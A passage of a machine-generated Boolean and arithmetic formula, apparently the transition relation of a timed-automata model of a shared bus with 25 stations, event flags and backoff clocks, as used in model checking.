((delta == 0.0) && ( !(( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1)))))))))) && (((( !s0_evt2) && (s0_evt0 && ( !s0_evt1))) && ((s0_backoff + (-1.0 * _x_s0_backoff)) <= -1.0)) || ( !((_x_s0_l0 && ( !_x_s0_l1)) && ((s0_l1 && ( !s0_l0)) && ((delta == 0.0) && ( !(( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1)))))))))) && (((s0_lambda == _x_s0_lambda) && (((_x_s0_l1 && ( !_x_s0_l0)) || (_x_s0_l0 && ( !_x_s0_l1))) && ((s0_backoff == _x_s0_backoff) && (_x_s0_x == 0.0)))) || ( !((s0_l0 && ( !s0_l1)) && ((delta == 0.0) && ( !(( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))))))))) && ((( !s0_evt2) && (s0_evt0 && ( !s0_evt1))) || ( !((_x_s0_l0 && ( !_x_s0_l1)) && ((s0_l0 && ( !s0_l1)) && ((delta == 0.0) && ( !(( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1)))))))))) && (((s0_evt2 && (( !s0_evt0) && ( !s0_evt1))) && (s0_backoff <= s0_x)) || ( !((_x_s0_l1 && ( !_x_s0_l0)) && ((s0_l0 && ( !s0_l1)) && ((delta == 0.0) && ( !(( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1)))))))))) && (((((((((((((((( !_x_bus_evt2) && (( !_x_bus_evt0) && ( !_x_bus_evt1))) || (((_x_bus_evt2 && (( !_x_bus_evt0) && ( !_x_bus_evt1))) || (( !_x_bus_evt2) && (_x_bus_evt1 && ( !_x_bus_evt0)))) || ((_x_bus_evt2 && (_x_bus_evt1 && ( !_x_bus_evt0))) || (( !_x_bus_evt2) && (_x_bus_evt0 && ( !_x_bus_evt1)))))) && (((( !_x_bus_l0) && ( !_x_bus_l1)) || (_x_bus_l1 && ( !_x_bus_l0))) || ((_x_bus_l0 && ( !_x_bus_l1)) || (_x_bus_l0 && _x_bus_l1)))) && ((( !(13.0 <= _x_bus_x)) || ( !(_x_bus_l0 && ( !_x_bus_l1)))) && ((_x_delta == 0.0) || ( !(_x_bus_l0 && _x_bus_l1))))) && ((delta <= 0.0) || (((delta + (bus_x + (-1.0 * _x_bus_x))) == 0.0) && (((bus_l0 == _x_bus_l0) && (bus_l1 == _x_bus_l1)) && (bus_j == _x_bus_j))))) && ((((delta + (bus_x + (-1.0 * _x_bus_x))) == 0.0) && (((bus_l0 == _x_bus_l0) && (bus_l1 == _x_bus_l1)) && (bus_j == _x_bus_j))) || ( !(( !bus_evt2) && (( !bus_evt0) && ( !bus_evt1)))))) && ((((bus_evt2 && (( !bus_evt0) && ( !bus_evt1))) && (_x_bus_l1 && ( !_x_bus_l0))) && ((bus_j == _x_bus_j) && (_x_bus_x == 0.0))) || ( !((( !bus_l0) && ( !bus_l1)) && ((delta == 0.0) && ( !(( !bus_evt2) && (( !bus_evt0) && ( !bus_evt1))))))))) && (((bus_j == _x_bus_j) && ((_x_bus_l0 && ( !_x_bus_l1)) || ((( !_x_bus_l0) && ( !_x_bus_l1)) || (_x_bus_l1 && ( !_x_bus_l0))))) || ( !((bus_l1 && ( !bus_l0)) && ((delta == 0.0) && ( !(( !bus_evt2) && (( !bus_evt0) && ( !bus_evt1))))))))) && (((( !bus_evt2) && (bus_evt1 && ( !bus_evt0))) && (_x_bus_x == 0.0)) || ( !(((delta == 0.0) && ( !(( !bus_evt2) && (( !bus_evt0) && ( !bus_evt1))))) && ((( !_x_bus_l0) && ( !_x_bus_l1)) && (bus_l1 && ( !bus_l0))))))) && (((bus_evt2 && (bus_evt1 && ( !bus_evt0))) && ((13.0 <= bus_x) && (bus_x == _x_bus_x))) || ( !(((delta == 0.0) && ( !(( !bus_evt2) && (( !bus_evt0) && ( !bus_evt1))))) && ((bus_l1 && ( !bus_l0)) && (_x_bus_l1 && ( !_x_bus_l0))))))) && (((bus_evt2 && (( !bus_evt0) && ( !bus_evt1))) && (( !(13.0 <= bus_x)) && (_x_bus_x == 0.0))) || ( !(((delta == 0.0) && ( !(( !bus_evt2) && (( !bus_evt0) && ( !bus_evt1))))) && ((bus_l1 && ( !bus_l0)) && (_x_bus_l0 && ( !_x_bus_l1))))))) && (((((_x_bus_l0 && _x_bus_l1) && ( !(13.0 <= bus_x))) && ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == bus_j))) && ((_x_bus_x == 0.0) && ((bus_j + (-1 * _x_bus_j)) == -1))) || ( !((bus_l0 && ( !bus_l1)) && ((delta == 0.0) && ( !(( !bus_evt2) && (( !bus_evt0) && ( !bus_evt1))))))))) && ((((bus_j + (-1 * _x_bus_j)) == -1) && (((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == bus_j)) && ((_x_bus_x == 0.0) && ( !(24 <= bus_j))))) || ( !(((delta == 0.0) && ( !(( !bus_evt2) && (( !bus_evt0) && ( !bus_evt1))))) && ((bus_l0 && bus_l1) && (_x_bus_l0 && _x_bus_l1)))))) && (((((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_j == 24)) && ((_x_bus_x == 0.0) && (bus_cd_id == bus_j))) && (_x_bus_j == 0)) || ( !(((delta == 0.0) && ( !(( !bus_evt2) && (( !bus_evt0) && ( !bus_evt1))))) && ((( !_x_bus_l0) && ( !_x_bus_l1)) && (bus_l0 && bus_l1)))))) && (0.0 <= _x_delta))))))))))))))))))))))))))) && ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1)))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))))) && ((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))))) && ((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))))) && ((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))))) && ((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))))) && ((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))))) && ((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))))) && ((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))))) && ((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))))) && ((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))))) && ((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))))) && ((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))))) && ((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))))) && ((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))) && ((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))) && ((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))) && ((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))) || (( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))))) && ((( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))) || (( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))))) && ((( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))) || (( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))))) && ((( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))) || (( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))))) && ((( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))) || (( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))))) && ((( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))) || (( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))))) && ((( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))) || (( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))))) && ((( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))) || (( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))))) && ((( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))) || (( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))))) && ((( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))) || (( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))))) && ((( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))) || (( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))))) && ((( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))) || (( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))))) && ((( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))) || (( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))) && ((( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))) || (( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))) && ((( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))) && ((( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))) || (( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))))) && ((( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))) || (( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))))) && ((( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))) || (( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))))) && ((( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))) || (( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))))) && ((( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))) || (( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))))) && ((( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))) || (( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))))) && ((( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))) || (( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))))) && ((( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))) || (( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))))) && ((( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))) || (( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))))) && ((( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))) || (( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))))) && ((( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))) || (( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))))) && ((( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))) || (( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))) && ((( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))) || (( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))) && ((( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))) && ((( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))) || (( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))))) && ((( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))) || (( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))))) && ((( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))) || (( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))))) && ((( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))) || (( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))))) && ((( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))) || (( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))))) && ((( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))) || (( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))))) && ((( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))) || (( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))))) && ((( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))) || (( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))))) && ((( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))) || (( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))))) && ((( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))) || (( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))))) && ((( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))) || (( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))))) && ((( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))) || (( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))))) && ((( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))) || (( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))))) && ((( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))) || (( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))))) && ((( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))) || (( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))))) && ((( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))) || (( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))))) && ((( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))) || (( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))))) && ((( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))) || (( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))))) && ((( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))) || (( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))))) && ((( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))) || (( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))))) && ((( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))) || (( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))))) && ((( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))) || (( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))))) && ((( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))) || (( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))))) && ((( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))) || (( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))))) && ((( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))) || (( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))))) && ((( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))) || (( !s17_evt2) && (( !s17_evt0) && 